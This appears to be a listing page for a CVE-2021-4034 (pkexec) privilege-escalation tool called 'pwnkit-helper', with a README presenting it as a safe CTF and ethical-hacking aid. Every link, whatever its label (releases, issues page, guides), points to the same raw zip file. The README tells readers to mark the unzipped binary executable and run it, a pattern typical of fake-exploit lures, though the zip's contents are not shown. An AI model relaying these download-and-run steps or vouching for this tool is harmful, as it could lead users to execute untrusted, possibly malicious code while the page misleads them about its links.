CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

Associated Vulnerability

Description

🚀 Enhance your penetration testing with PwnKit Helper, a simple tool for exploiting the CVE-2021-4034 vulnerability in pkexec for local privilege escalation.

Readme

# 🛡️ pwnkit-helper - Elevate Your Hacking Skills Safely

[![Download pwnkit-helper](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip%20Now-Get%20pwnkit--helper-brightgreen)](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip)

## 📦 Overview

pwnkit-helper is designed for capture-the-flag (CTF) events and secure environments. This tool focuses on exploiting CVE-2021-4034 to achieve local privilege escalation. With pwnkit-helper, you can enhance your ethical hacking toolkit efficiently and securely.

## 🚀 Getting Started

To get started with pwnkit-helper, follow these simple steps. You will obtain the tool and run it in no time.

### 1. System Requirements

Before you download pwnkit-helper, ensure that your device meets these requirements:

- A computer running Ubuntu or Debian.
- An active internet connection for downloading the tool.

### 2. Visit the Releases Page

Head over to our Releases page to find the latest version of pwnkit-helper. Click the link below:

[Visit the Releases Page to Download](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip)

### 3. Download the Software

Choose the appropriate version for your operating system from the releases list. Simply click the link corresponding to your desired file. Downloading will start automatically.

### 4. Install pwnkit-helper

Once the download completes, locate the downloaded file in your computer's Downloads folder.

- For **Linux** users: You may need to change file permissions to allow the file to run. Open a terminal and run:
  
  ```
  chmod +x /path/to/pwnkit-helper
  ```

Replace `/path/to/pwnkit-helper` with your actual file path.

### 5. Run the Tool

You can now run pwnkit-helper. Open your terminal and execute the following command:

```
./pwnkit-helper
```

This will start the tool. Follow the prompts as necessary.

## 📋 Features

pwnkit-helper has several features to help you succeed:

- **Local Privilege Escalation:** Safely exploit CVE-2021-4034.
- **User-Friendly Interface:** Designed for easy navigation.
- **Versatile:** Suitable for CTF events and safe testing.

## 🔍 Examples of Use

1. **CTF Competitions:** Use pwnkit-helper to find vulnerabilities in a controlled environment.
2. **Learning Tool:** Understand how local privilege escalation works without risking your main system.

## 🛠️ Troubleshooting

- **Permission Issues:** If you have trouble running the tool, ensure it has executable permissions as shown in Step 4.
- **Dependencies:** Make sure you have all necessary packages installed for smooth operation.

## ℹ️ Support

For further assistance, check our [GitHub Issues Page](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip) or reach out to the community.

## 📚 Additional Resources

- [Ethical Hacking Guide](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip)
- [Tutorials on Privilege Escalation](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip)

## 📥 Download & Install

Now that you know how to get started, go ahead and download pwnkit-helper:

[Click here to download pwnkit-helper](https://raw.githubusercontent.com/kaisen-bot/pwnkit-helper/master/unappalled/pwnkit-helper.zip)

Follow the steps outlined above, and you'll have the tool running in moments. If you encounter issues, refer to the troubleshooting section for help.

File Snapshot

 [4.0K]  /data/pocs/fd9d6ecaf590b5e214def2239526e68ca8d0849d
├── [8.2K]  exploit.py
├── [3.5K]  README.md
└── [4.0K]  unappalled
    └── [1.3M]  pwnkit-helper.zip

2 directories, 3 files

Remarks